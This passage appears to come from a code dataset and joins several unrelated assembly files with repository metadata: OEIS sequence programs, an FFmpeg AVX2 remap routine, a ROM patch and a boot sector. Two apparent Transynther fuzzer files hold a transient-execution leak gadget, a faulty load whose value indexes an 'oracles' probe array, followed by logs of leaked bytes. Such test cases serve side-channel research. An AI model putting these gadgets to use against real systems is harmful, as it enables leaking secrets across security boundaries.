36 36 36 36 36 36 36 36 36 36 */
31.889831
2,999
0.658783
4f5d63bf9b07557c33f011e4c983d2771e198ac9
498
asm
Assembly
reference_asm/moving_asm.asm
tashiww/maten_tools
efaf43958639edfdcd342615f4c23ccba35d80ce
[ "MIT" ]
1
2021-05-14T19:14:38.000Z
2021-05-14T19:14:38.000Z
reference_asm/moving_asm.asm
tashiww/maten_tools
efaf43958639edfdcd342615f4c23ccba35d80ce
[ "MIT" ]
null
null
null
reference_asm/moving_asm.asm
tashiww/maten_tools
efaf43958639edfdcd342615f4c23ccba35d80ce
[ "MIT" ]
null
null
null
; convert a relative LEA to absolute long LEA by first replacing the relative LEA with a ; relative BSR to somewhere with enough room to write the long LEA ; $B600 seems to have $10 empty bytes... incbin "hax.md" org $0000 ; main menu org $838a BSR main_menu_lea org $841e ; item sub-menu BSR item_submenu_lea org $8abe BSR stat_submenu_lea org $b600 main_menu_lea: LEA $20F80, a0 RTS item_submenu_lea: LEA $20F99, a0 RTS org $b740 stat_submenu_lea: LEA $20FA7, a0 RTS
15.5625
88
0.7249
8980cee587d88bbab27e4fc80d81b946bb42f360
1,094
asm
Assembly
programs/oeis/047/A047336.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/047/A047336.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/047/A047336.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A047336: Numbers that are congruent to {1, 6} mod 7. ; 1,6,8,13,15,20,22,27,29,34,36,41,43,48,50,55,57,62,64,69,71,76,78,83,85,90,92,97,99,104,106,111,113,118,120,125,127,132,134,139,141,146,148,153,155,160,162,167,169,174,176,181,183,188,190,195,197,202,204,209,211,216,218,223,225,230,232,237,239,244,246,251,253,258,260,265,267,272,274,279,281,286,288,293,295,300,302,307,309,314,316,321,323,328,330,335,337,342,344,349,351,356,358,363,365,370,372,377,379,384,386,391,393,398,400,405,407,412,414,419,421,426,428,433,435,440,442,447,449,454,456,461,463,468,470,475,477,482,484,489,491,496,498,503,505,510,512,517,519,524,526,531,533,538,540,545,547,552,554,559,561,566,568,573,575,580,582,587,589,594,596,601,603,608,610,615,617,622,624,629,631,636,638,643,645,650,652,657,659,664,666,671,673,678,680,685,687,692,694,699,701,706,708,713,715,720,722,727,729,734,736,741,743,748,750,755,757,762,764,769,771,776,778,783,785,790,792,797,799,804,806,811,813,818,820,825,827,832,834,839,841,846,848,853,855,860,862,867,869,874 mov $1,32 add $1,$0 div $0,2 mul $0,3 mul $1,5 sub $1,$0 sub $1,159
99.454545
969
0.725777
012c36609073f6a7da1008330549d422d71b7e77
320
asm
Assembly
programs/oeis/103/A103532.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/103/A103532.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/103/A103532.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A103532: Number of divisors of 240^n. ; 1,20,81,208,425,756,1225,1856,2673,3700,4961,6480,8281,10388,12825,15616,18785,22356,26353,30800,35721,41140,47081,53568,60625,68276,76545,85456,95033,105300,116281,128000,140481,153748,167825,182736 mul $0,4 add $0,2 mov $2,$0 mov $3,$0 add $0,3 mul $2,$3 mul $0,$2 div $0,16
26.666667
201
0.73125
bfc892d7b275484016a2e579d3be1e3cd158c07d
5,416
asm
Assembly
Transynther/x86/_processed/AVXALIGN/_un_/i7-7700_9_0x48.log_21829_2641.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/AVXALIGN/_un_/i7-7700_9_0x48.log_21829_2641.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/AVXALIGN/_un_/i7-7700_9_0x48.log_21829_2641.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r12 push %r13 push %r15 push %rbx push %rcx push %rdi lea addresses_WC_ht+0x14033, %rdi dec %r13 mov $0x6162636465666768, %rcx movq %rcx, (%rdi) nop nop nop nop nop cmp $9130, %r10 lea addresses_WT_ht+0x63b3, %r15 nop nop nop nop nop add $56618, %r12 movups (%r15), %xmm3 vpextrq $0, %xmm3, %rbx nop nop nop sub $20090, %rdi lea addresses_normal_ht+0x2bf3, %r10 nop nop nop add %r15, %r15 mov $0x6162636465666768, %r12 movq %r12, %xmm1 vmovups %ymm1, (%r10) nop nop nop cmp $17381, %rbx lea addresses_UC_ht+0x19233, %rcx nop nop nop add %r10, %r10 movb $0x61, (%rcx) nop sub %rbx, %rbx lea addresses_WC_ht+0x17633, %r10 nop nop nop add %rcx, %rcx movups (%r10), %xmm6 vpextrq $0, %xmm6, %r12 nop nop nop nop nop inc %r15 lea addresses_A_ht+0xad9f, %r15 nop nop nop nop add %rdi, %rdi mov (%r15), %bx nop nop nop nop add $42443, %r13 pop %rdi pop %rcx pop %rbx pop %r15 pop %r13 pop %r12 pop %r10 ret .global s_faulty_load s_faulty_load: push %r12 push %rax push %rbp push %rdi push %rdx // Faulty Load mov $0xa33, %rdi nop add $17627, %r12 vmovntdqa (%rdi), %ymm6 vextracti128 $1, %ymm6, %xmm6 vpextrq $1, %xmm6, %rdx lea oracles, %rbp and $0xff, %rdx shlq $12, %rdx mov (%rbp,%rdx,1), %rdx pop %rdx pop %rdi pop %rbp pop %rax pop %r12 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_P', 'AVXalign': False, 'congruent': 0, 'size': 1, 'same': False, 'NT': False}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_P', 'AVXalign': False, 'congruent': 0, 'size': 32, 'same': True, 'NT': True}} <gen_prepare_buffer> {'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'AVXalign': False, 'congruent': 9, 'size': 8, 'same': False, 'NT': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'AVXalign': False, 'congruent': 7, 'size': 16, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'AVXalign': False, 'congruent': 5, 'size': 32, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'AVXalign': False, 'congruent': 9, 'size': 1, 'same': False, 'NT': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'AVXalign': False, 'congruent': 9, 'size': 16, 'same': False, 'NT': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'AVXalign': False, 'congruent': 2, 'size': 2, 'same': False, 'NT': True}} {'08': 11717, 'a0': 10, '72': 10043, '04': 59} 04 a0 04 04 04 04 a0 a0 a0 04 04 04 04 04 a0 04 a0 04 04 04 04 04 04 04 04 04 04 04 04 04 04 04 04 04 04 04 04 04 04 04 04 04 04 a0 04 04 04 04 04 04 04 04 a0 04 a0 04 04 04 04 04 04 04 04 04 04 a0 04 04 04 08 08 08 08 72 08 08 08 08 72 08 08 08 08 08 72 08 08 08 08 08 08 08 72 72 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 72 08 72 08 08 08 08 08 08 08 08 08 08 72 72 08 08 72 08 08 72 08 08 08 08 08 08 08 08 08 72 08 08 08 72 08 08 72 08 08 08 08 08 08 08 08 08 08 08 08 72 08 08 08 08 08 08 08 08 08 72 08 08 08 08 08 08 72 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 72 72 72 08 08 08 08 72 08 72 72 08 08 08 72 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 72 72 08 08 08 08 08 72 08 08 72 08 72 08 72 08 08 08 08 08 08 08 08 08 08 08 08 08 72 08 72 08 72 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 72 08 72 08 08 08 08 08 08 72 08 08 08 08 08 08 72 08 08 08 72 72 72 08 72 72 08 08 72 72 72 72 72 72 72 72 72 72 08 08 72 72 08 72 72 72 08 72 72 08 72 72 72 08 72 72 72 72 72 72 72 72 72 08 72 72 72 72 72 72 08 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 08 72 72 72 72 72 72 72 72 08 72 72 72 08 08 72 72 08 08 08 08 08 72 08 72 08 08 08 08 08 72 08 08 08 08 08 08 08 72 08 08 08 08 08 08 08 08 08 08 08 08 08 72 08 72 72 72 08 08 08 08 08 08 08 08 72 08 08 08 08 72 08 72 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 72 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 72 08 08 72 08 72 08 08 08 08 08 08 08 08 08 72 08 08 08 08 08 08 08 08 08 72 08 08 08 08 08 08 08 08 08 08 72 08 08 72 08 08 08 72 08 08 08 08 08 72 08 08 08 08 08 72 08 08 08 08 08 08 08 08 08 08 08 72 72 72 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 72 72 08 08 72 72 08 08 08 08 08 08 08 08 08 08 08 08 08 72 08 08 08 08 08 08 08 72 08 08 08 08 08 08 08 08 08 72 08 08 08 08 08 08 08 08 08 08 72 08 72 08 08 08 72 08 08 08 08 08 72 08 08 08 08 08 72 08 08 08 08 08 08 08 08 08 08 08 08 72 08 08 08 08 08 08 08 72 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 72 72 08 08 08 08 08 08 08 08 08 08 08 72 72 08 08 08 08 08 08 08 08 08 08 72 08 08 08 08 08 08 08 08 08 08 72 72 08 08 08 08 08 08 08 08 08 08 08 72 08 08 08 08 72 08 08 08 08 08 08 08 08 72 08 08 08 08 08 72 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 72 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 72 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 72 08 08 08 08 08 08 08 08 08 08 08 08 08 72 08 08 08 08 08 08 08 08 08 08 08 08 08 72 08 08 08 72 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 72 08 72 08 08 08 08 08 08 08 08 72 08 08 08 08 08 08 08 08 08 08 72 08 72 72 72 08 72 72 72 08 72 08 72 08 72 72 72 72 72 72 72 08 08 72 72 72 72 72 72 72 72 72 72 72 72 08 72 72 72 72 72 72 08 72 72 72 72 72 72 08 72 72 72 72 72 72 72 72 72 72 72 72 08 72 72 72 72 72 72 72 72 72 72 72 72 08 72 72 72 08 72 72 72 72 72 72 72 72 72 72 72 72 72 72 08 08 72 72 72 72 72 72 72 72 08 72 72 72 72 08 72 72 72 72 08 72 72 72 72 72 72 72 72 72 72 08 72 08 */
41.984496
2,999
0.657312
fe545cd7d1be2e02084a919cfa3b8e6dac5d816b
561
asm
Assembly
oeis/017/A017604.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/017/A017604.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/017/A017604.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A017604: a(n) = (12n+6)^12. ; 2176782336,1156831381426176,531441000000000000,30129469486639681536,614787626176508399616,6831675453247426400256,50714860157241037295616,282429536481000000000000,1268241794562545318301696,4817904819828488880132096,16012035393449278995173376,47703367363695867545849856,129746337890625000000000000,326723350842869800400326656,770177770297334467043659776,1714570434475502278801821696,3630632434549265533578448896,7355827511386641000000000000,14329653645048357641297596416,26951955996824334101419462656 mul $0,12 add $0,6 pow $0,12
80.142857
500
0.910873
97dbea22064f2217c306beefa5b0207163496c5b
448
asm
Assembly
tests/test build script and options/nonCodeOptions/stdinWithAsm.asm
fengjixuchui/sjasmplus
df0fabd2411bf89e23637fce46d273f52dafbe16
[ "BSD-3-Clause" ]
220
2016-10-22T19:44:39.000Z
2022-03-29T20:57:04.000Z
tests/test build script and options/nonCodeOptions/stdinWithAsm.asm
ped7g/sjasmplus
487635c8057cd5594c372d9b70bc00a3f3a1ecc4
[ "BSD-3-Clause" ]
153
2018-05-07T10:31:23.000Z
2022-03-30T04:35:59.000Z
tests/test build script and options/nonCodeOptions/stdinWithAsm.asm
ped7g/sjasmplus
487635c8057cd5594c372d9b70bc00a3f3a1ecc4
[ "BSD-3-Clause" ]
51
2016-05-12T21:27:36.000Z
2022-03-27T15:16:16.000Z
; this source will be assembled twice, once coming from STDIN, second time as regular file ; and each time it will also include itself as include file (so 6x times assembled) IFNDEF __ALREADY_INITIALIZED__ DEFINE __ALREADY_INITIALIZED__ OUTPUT "stdinWithAsm.bin" x = 0 ENDIF IFNDEF __INCLUDED__ DEFINE __INCLUDED__ INCLUDE "stdinWithAsm.asm" UNDEFINE __INCLUDED__ ENDIF x = x+1 DB x
23.578947
90
0.696429
65a52d83a74d14820e6eba44c93a8e79571ec6d4
495
asm
Assembly
programs/oeis/076/A076480.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/076/A076480.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
programs/oeis/076/A076480.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
; A076480: n + mu(rad(n)), where mu is the Moebius-function (A008683) and rad is the squarefree kernel (A007947). ; 2,1,2,3,4,7,6,7,8,11,10,13,12,15,16,15,16,19,18,21,22,23,22,25,24,27,26,29,28,29,30,31,34,35,36,37,36,39,40,41,40,41,42,45,46,47,46,49,48,51,52,53,52,55,56,57,58,59,58,59,60,63,64,63,66,65,66,69,70,69,70,73 mov $2,$0 cal $0,76479 ; a(n) = mu(rad(n)), where mu is the Moebius-function (A008683) and rad is the radical or squarefree kernel (A007947). add $0,1 add $0,$2 mov $1,$0
55
208
0.668687
9886b2fd7842915fc09f9d58c7051c768b84e196
785
asm
Assembly
c_projects/project1/ch4/boot_sector_11.asm
darbinreyes/subparprogrammer
e3588adc494a69a564fe0a9859ff296fc710eab0
[ "MIT" ]
null
null
null
c_projects/project1/ch4/boot_sector_11.asm
darbinreyes/subparprogrammer
e3588adc494a69a564fe0a9859ff296fc710eab0
[ "MIT" ]
1
2021-05-11T22:20:01.000Z
2021-05-11T22:20:01.000Z
c_projects/project1/ch4/boot_sector_11.asm
darbinreyes/subparprogrammer
e3588adc494a69a564fe0a9859ff296fc710eab0
[ "MIT" ]
null
null
null
; A boot sector program that switches from 16 bit real mode to 32 bit ; protected mode. [org 0x7c00] mov bp, 0x9000 ; Init. the stack. mov sp, bp mov bx, MSG_REAL_MODE call print_string call switch_to_pm ; It all goes well, this doesn't return. jmp $ ; Infinite loop. %include "ch1-ch3/print_string.asm" %include "gdt.asm" %include "print_string_pm.asm" %include "switch_to_pm.asm" [bits 32] ; This is were we land after switching to 32 bit protected mode. BEGIN_PM: mov ebx, MSG_PROT_MODE call print_string_pm ; Our 32 bit print routine. jmp $ ; Infinite loop. ; Global variables MSG_REAL_MODE db "Started in 16 bit Real Mode", 0 MSG_PROT_MODE db "Successfully landed in 32 bit Protected Mode", 0 ; Boot sector 0 padding and magic number. times 510-($-$$) db 0 dw 0xaa55
20.128205
69
0.742675
ef2dc98d130fefd7113e0b11874c31e4d03b9fa3
276
asm
Assembly
programs/oeis/051/A051052.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/051/A051052.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/051/A051052.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A051052: a(n) = binomial(n, floor(n/5)). ; 1,1,1,1,1,5,6,7,8,9,45,55,66,78,91,455,560,680,816,969,4845,5985,7315,8855,10626,53130,65780,80730,98280,118755,593775,736281,906192,1107568,1344904,6724520,8347680,10295472,12620256,15380937,76904685 mov $1,$0 div $1,5 bin $0,$1
39.428571
202
0.724638
8e7e4591b475b22ab3c8f9f7d27202aa0ef47213
7,321
asm
Assembly
thirdparty/ffmpeg/libavfilter/x86/vf_v360.asm
yashrajsingh1998/ApraPipes1
ec93095613f4345d6044c7012f2d8c3b99f65f03
[ "MIT" ]
30
2022-03-10T16:34:13.000Z
2022-03-29T09:32:35.000Z
thirdparty/ffmpeg/libavfilter/x86/vf_v360.asm
yashrajsingh1998/ApraPipes1
ec93095613f4345d6044c7012f2d8c3b99f65f03
[ "MIT" ]
2
2022-03-30T14:52:15.000Z
2022-03-31T11:30:20.000Z
thirdparty/ffmpeg/libavfilter/x86/vf_v360.asm
yashrajsingh1998/ApraPipes1
ec93095613f4345d6044c7012f2d8c3b99f65f03
[ "MIT" ]
6
2021-09-24T04:58:43.000Z
2022-03-10T10:02:27.000Z
;***************************************************************************** ;* x86-optimized functions for v360 filter ;* ;* This file is part of FFmpeg. ;* ;* FFmpeg is free software; you can redistribute it and/or ;* modify it under the terms of the GNU Lesser General Public ;* License as published by the Free Software Foundation; either ;* version 2.1 of the License, or (at your option) any later version. ;* ;* FFmpeg is distributed in the hope that it will be useful, ;* but WITHOUT ANY WARRANTY; without even the implied warranty of ;* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU ;* Lesser General Public License for more details. ;* ;* You should have received a copy of the GNU Lesser General Public ;* License along with FFmpeg; if not, write to the Free Software ;* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ;****************************************************************************** %include "libavutil/x86/x86util.asm" %if HAVE_AVX2_EXTERNAL SECTION_RODATA pb_mask: db 0,4,8,12,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1 pw_mask: db 0,1,4, 5, 8, 9,12,13,-1,-1,-1,-1,-1,-1,-1,-1 pd_255: times 4 dd 255 pd_65535: times 4 dd 65535 SECTION .text ; void ff_remap2_8bit_line_avx2(uint8_t *dst, int width, const uint8_t *src, ptrdiff_t in_linesize, ; const uint16_t *u, const uint16_t *v, const int16_t *ker); INIT_YMM avx2 cglobal remap1_8bit_line, 6, 7, 6, dst, width, src, in_linesize, u, v, x movsxdifnidn widthq, widthd xor xq, xq movd xm0, in_linesized pcmpeqw m4, m4 VBROADCASTI128 m3, [pb_mask] vpbroadcastd m0, xm0 .loop: pmovsxwd m1, [vq + xq * 2] pmovsxwd m2, [uq + xq * 2] pmulld m1, m0 paddd m1, m2 mova m2, m4 vpgatherdd m5, [srcq + m1], m2 pshufb m1, m5, m3 vextracti128 xm2, m1, 1 movd [dstq+xq], xm1 movd [dstq+xq+4], xm2 add xq, mmsize / 4 cmp xq, widthq jl .loop RET INIT_YMM avx2 cglobal remap1_16bit_line, 6, 7, 6, dst, width, src, in_linesize, u, v, x movsxdifnidn widthq, widthd xor xq, xq movd xm0, in_linesized pcmpeqw m4, m4 VBROADCASTI128 m3, [pw_mask] vpbroadcastd m0, xm0 .loop: pmovsxwd m1, [vq + xq * 2] pmovsxwd m2, [uq + xq * 2] pslld m2, 0x1 pmulld m1, m0 paddd m1, m2 mova m2, m4 vpgatherdd m5, [srcq + m1], m2 pshufb m1, m5, m3 vextracti128 xm2, m1, 1 movq [dstq+xq*2], xm1 movq [dstq+xq*2+8], xm2 add xq, mmsize / 4 cmp xq, widthq jl .loop RET INIT_YMM avx2 cglobal remap2_8bit_line, 7, 8, 8, dst, width, src, in_linesize, u, v, ker, x movsxdifnidn widthq, widthd movd xm0, in_linesized %if ARCH_X86_32 DEFINE_ARGS dst, width, src, x, u, v, ker %endif xor xq, xq pcmpeqw m7, m7 vpbroadcastd m0, xm0 vpbroadcastd m6, [pd_255] .loop: pmovsxwd m1, [kerq + xq * 8] pmovsxwd m2, [vq + xq * 8] pmovsxwd m3, [uq + xq * 8] pmulld m4, m2, m0 paddd m4, m3 mova m3, m7 vpgatherdd m2, [srcq + m4], m3 pand m2, m6 pmulld m2, m1 phaddd m2, m2 phaddd m1, m2, m2 psrld m1, m1, 0xe vextracti128 xm2, m1, 1 pextrb [dstq+xq], xm1, 0 pextrb [dstq+xq+1], xm2, 0 add xq, mmsize / 16 cmp xq, widthq jl .loop RET INIT_YMM avx2 cglobal remap2_16bit_line, 7, 8, 8, dst, width, src, in_linesize, u, v, ker, x movsxdifnidn widthq, widthd movd xm0, in_linesized %if ARCH_X86_32 DEFINE_ARGS dst, width, src, x, u, v, ker %endif xor xq, xq pcmpeqw m7, m7 vpbroadcastd m0, xm0 vpbroadcastd m6, [pd_65535] .loop: pmovsxwd m1, [kerq + xq * 8] pmovsxwd m2, [vq + xq * 8] pmovsxwd m3, [uq + xq * 8] pslld m3, 0x1 pmulld m4, m2, m0 paddd m4, m3 mova m3, m7 vpgatherdd m2, [srcq + m4], m3 pand m2, m6 pmulld m2, m1 phaddd m2, m2 phaddd m1, m2, m2 psrld m1, m1, 0xe vextracti128 xm2, m1, 1 pextrw [dstq+xq*2], xm1, 0 pextrw [dstq+xq*2+2], xm2, 0 add xq, mmsize / 16 cmp xq, widthq jl .loop RET %if ARCH_X86_64 INIT_YMM avx2 cglobal remap3_8bit_line, 7, 11, 8, dst, width, src, in_linesize, u, v, ker, x, y, tmp, z movsxdifnidn widthq, widthd xor zq, zq xor yq, yq xor xq, xq movd xm0, in_linesized pcmpeqw m7, m7 vpbroadcastd m0, xm0 vpbroadcastd m6, [pd_255] .loop: pmovsxwd m1, [kerq + yq] pmovsxwd m2, [vq + yq] pmovsxwd m3, [uq + yq] pmulld m4, m2, m0 paddd m4, m3 mova m3, m7 vpgatherdd m2, [srcq + m4], m3 pand m2, m6 pmulld m2, m1 HADDD m2, m1 movzx tmpq, word [vq + yq + 16] imul tmpq, in_linesizeq movzx zq, word [uq + yq + 16] add tmpq, zq movzx zq, byte [srcq + tmpq] movzx tmpq, word [kerq + yq + 16] imul zd, tmpd movd xm1, zd paddd m2, m1 psrld m2, m2, 0xe packuswb m2, m2 pextrb [dstq+xq], xm2, 0 add xq, 1 add yq, 18 cmp xq, widthq jl .loop RET INIT_YMM avx2 cglobal remap4_8bit_line, 7, 9, 11, dst, width, src, in_linesize, u, v, ker, x, y movsxdifnidn widthq, widthd xor yq, yq xor xq, xq movd xm0, in_linesized pcmpeqw m7, m7 vpbroadcastd m0, xm0 vpbroadcastd m6, [pd_255] .loop: pmovsxwd m1, [kerq + yq] pmovsxwd m5, [kerq + yq + 16] pmovsxwd m2, [vq + yq] pmovsxwd m8, [vq + yq + 16] pmovsxwd m3, [uq + yq] pmovsxwd m9, [uq + yq + 16] pmulld m4, m2, m0 pmulld m10, m8, m0 paddd m4, m3 paddd m10, m9 mova m3, m7 vpgatherdd m2, [srcq + m4], m3 mova m3, m7 vpgatherdd m4, [srcq + m10], m3 pand m2, m6 pand m4, m6 pmulld m2, m1 pmulld m4, m5 paddd m2, m4 HADDD m2, m1 psrld m2, m2, 0xe packuswb m2, m2 pextrb [dstq+xq], xm2, 0 add xq, 1 add yq, 32 cmp xq, widthq jl .loop RET %endif %endif
28.486381
99
0.480262
568d51b6bc274ccc4cab7bedc738a20b4d463374
149
asm
Assembly
other.7z/SFC.7z/SFC/ソースデータ/MarioKart/kart-init-e.asm
prismotizm/gigaleak
d082854866186a05fec4e2fdf1def0199e7f3098
[ "MIT" ]
null
null
null
other.7z/SFC.7z/SFC/ソースデータ/MarioKart/kart-init-e.asm
prismotizm/gigaleak
d082854866186a05fec4e2fdf1def0199e7f3098
[ "MIT" ]
null
null
null
other.7z/SFC.7z/SFC/ソースデータ/MarioKart/kart-init-e.asm
prismotizm/gigaleak
d082854866186a05fec4e2fdf1def0199e7f3098
[ "MIT" ]
null
null
null
Name: kart-init-e.asm Type: file Size: 60322 Last-Modified: '1992-08-30T15:00:00Z' SHA-1: 40B061155B8DCA0F170F83EEE11E3B9C30D9FE6F Description: null
21.285714
47
0.805369
4f4cbaf443de808b634d6c2a9deef2ba220b86d9
7,289
asm
Assembly
Transynther/x86/_processed/AVXALIGN/_ht_zr_un_/i9-9900K_12_0xa0.log_21829_1631.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/AVXALIGN/_ht_zr_un_/i9-9900K_12_0xa0.log_21829_1631.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/AVXALIGN/_ht_zr_un_/i9-9900K_12_0xa0.log_21829_1631.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r12 push %r13 push %r9 push %rax push %rcx push %rdi push %rdx push %rsi lea addresses_UC_ht+0xecd1, %rax sub $1708, %r9 vmovups (%rax), %ymm1 vextracti128 $1, %ymm1, %xmm1 vpextrq $1, %xmm1, %rdx nop nop nop add %r10, %r10 lea addresses_A_ht+0x1ee21, %r12 clflush (%r12) nop dec %rdi movw $0x6162, (%r12) nop nop nop nop sub %r9, %r9 lea addresses_WC_ht+0x5a11, %rsi lea addresses_A_ht+0x78b1, %rdi nop nop nop nop add $53466, %r10 mov $78, %rcx rep movsl nop nop xor $51249, %r9 lea addresses_WT_ht+0x144b1, %r13 nop nop nop nop cmp %r10, %r10 mov (%r13), %r12w nop nop nop cmp $51024, %rdx lea addresses_D_ht+0xf739, %r9 nop nop and %rcx, %rcx vmovups (%r9), %ymm0 vextracti128 $1, %ymm0, %xmm0 vpextrq $0, %xmm0, %r12 nop nop nop nop dec %rcx lea addresses_WT_ht+0x15c11, %r10 sub $62300, %rdi mov (%r10), %r9w nop nop nop and %r13, %r13 lea addresses_A_ht+0x2e51, %rsi nop inc %rdx movb (%rsi), %cl nop nop nop nop sub %rcx, %rcx lea addresses_WC_ht+0x18a51, %rsi lea addresses_A_ht+0x1251, %rdi nop nop inc %rdx mov $65, %rcx rep movsw nop nop nop add %rsi, %rsi lea addresses_A_ht+0x80b1, %r12 nop nop nop nop nop inc %r13 movl $0x61626364, (%r12) nop nop nop nop nop and $44621, %rsi lea addresses_normal_ht+0xd59, %rsi lea addresses_D_ht+0x31ea, %rdi nop nop nop nop nop cmp $40226, %r10 mov $0, %rcx rep movsq nop sub %r9, %r9 lea addresses_D_ht+0xd1d, %rax add %rdi, %rdi mov $0x6162636465666768, %r9 movq %r9, %xmm4 and $0xffffffffffffffc0, %rax vmovntdq %ymm4, (%rax) nop nop dec %rax pop %rsi pop %rdx pop %rdi pop %rcx pop %rax pop %r9 pop %r13 pop %r12 pop %r10 ret .global s_faulty_load s_faulty_load: push %r10 push %r11 push %r12 push %r13 push %r8 push %rdi push %rsi // Load lea addresses_RW+0xbc65, %r13 nop nop and %r11, %r11 mov (%r13), %esi and $40308, %r11 // Store lea addresses_D+0x791f, %r8 sub %rdi, %rdi movb $0x51, (%r8) nop nop nop nop nop xor %r13, %r13 // Faulty Load lea addresses_RW+0x104b1, %r13 clflush (%r13) nop sub $46443, %r12 movntdqa (%r13), %xmm0 vpextrq $1, %xmm0, %r8 lea oracles, %r10 and $0xff, %r8 shlq $12, %r8 mov (%r10,%r8,1), %r8 pop %rsi pop %rdi pop %r8 pop %r13 pop %r12 pop %r11 pop %r10 ret /* <gen_faulty_load> [REF] {'src': {'NT': False, 'same': False, 'congruent': 0, 'type': 'addresses_RW', 'AVXalign': False, 'size': 32}, 'OP': 'LOAD'} {'src': {'NT': False, 'same': False, 'congruent': 0, 'type': 'addresses_RW', 'AVXalign': False, 'size': 4}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 1, 'type': 'addresses_D', 'AVXalign': False, 'size': 1}} [Faulty Load] {'src': {'NT': True, 'same': True, 'congruent': 0, 'type': 'addresses_RW', 'AVXalign': False, 'size': 16}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'NT': False, 'same': False, 'congruent': 4, 'type': 'addresses_UC_ht', 'AVXalign': False, 'size': 32}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 1, 'type': 'addresses_A_ht', 'AVXalign': False, 'size': 2}} {'src': {'same': 